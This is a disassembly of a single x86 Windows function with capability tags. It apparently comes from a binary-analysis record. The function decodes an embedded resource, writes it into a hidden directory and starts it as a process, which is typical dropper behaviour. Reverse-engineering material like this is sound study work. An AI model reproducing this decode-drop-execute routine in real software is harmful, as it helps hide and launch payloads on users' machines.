Function at 0x401ce0
Capabilities:
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x5a0
push ebp
push esi
push 0x4061fc
push 0x84
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
test esi, esi
jne 0x401d09
pop esi
pop ebp
add esp, 0x5a0
ret
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ebp, eax
test ebp, ebp
jne 0x401d21
pop esi
pop ebp
add esp, 0x5a0
ret
push ebx
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ebx, eax
push ebp
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ecx, ebx
mov esi, eax
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
xor ebx, ebx
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x20]
mov al, byte [ebp + 1]
mov bl, byte [ebp]
xor ecx, ecx
test edi, edi
mov dword [esp + 0x24], eax
jle 0x401da1
mov eax, ecx
mov esi, 3
cdq
idiv esi
mov esi, edx
cmp esi, 2
jne 0x401d79
sub byte [ecx + ebp], bl
cmp esi, 1
jne 0x401d8a
mov dl, byte [esp + 0x24]
mov al, byte [ecx + ebp]
sub al, dl
mov byte [ecx + ebp], al
test esi, esi
jne 0x401d9c
mov al, byte [esp + 0x24]
mov dl, byte [ecx + ebp]
add al, bl
sub dl, al
mov byte [ecx + ebp], dl
inc ecx
cmp ecx, edi
jl 0x401d65
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0xa5]
mov byte [esp + 0xa4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x1a9]
mov byte [esp + 0x1a8], 0
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edx, [esp + 0x10]
mov dword [esp + 0x11], ecx
push 5
mov dword [esp + 0x19], ecx
push edx
stosw word es:[edi], ax
mov dword [esp + 0x21], ecx
mov byte [esp + 0x18], 0
mov word [esp + 0x25], cx
stosb byte es:[edi], al
mov byte [esp + 0x27], cl
call fcn.00401910
mov ebx, dword [sym.imp.USER32.DLL_wsprintfA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xb0]
push 0x4061f4
push ecx
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
add esp, 0x14
lea edx, [esp + 0xa4]
push 0
push edx
call esi
test eax, eax
jne 0x401e55
lea eax, [esp + 0x10]
lea ecx, [esp + 0xa4]
push eax
push 0x4061ec
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0xa4]
push 0
push edx
call esi
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0xa4]
push 2
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
xor ecx, ecx
lea edx, [esp + 0x10]
mov dword [esp + 0x10], ecx
push 5
mov dword [esp + 0x18], ecx
push edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
call fcn.00401910
movsx eax, byte [esp + 0x18]
movsx ecx, byte [esp + 0x1b]
movsx edx, byte [esp + 0x19]
push eax
push ecx
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0xb8]
push eax
push ecx
lea edx, [esp + 0x1c4]
push 0x4061dc
push edx
call ebx
add esp, 0x24
lea eax, [esp + 0x1a8]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edx, dword [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea ecx, [esp + 0x28]
push 0
push ecx
mov esi, eax
push edx
push ebp
push esi
call edi
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [esp + 0x28]
push 0
push eax
push 2
push 0x4061d8
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, 8
mov esi, 0x4061b4
lea edi, [esp + 0x80]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x7f
lea edi, [esp + 0x3b1]
mov byte [esp + 0x3b0], 0
mov byte [esp + 0x2ac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x2ad]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x2ac]
push 0x104
push ecx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [esp + 0x2ac]
lea eax, [esp + 0x1a8]
push edx
lea ecx, [esp + 0x84]
push eax
push ecx
lea edx, [esp + 0x3bc]
push 0x4061a0
push edx
call ebx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x44]
add esp, 0x14
rep stosd dword es:[edi], eax
mov word [esp + 0x5c], ax
lea eax, [esp + 0x70]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x3cc]
push 0
push edx
push 0
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x5c], 0x406190
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
add esp, 0x5a0
ret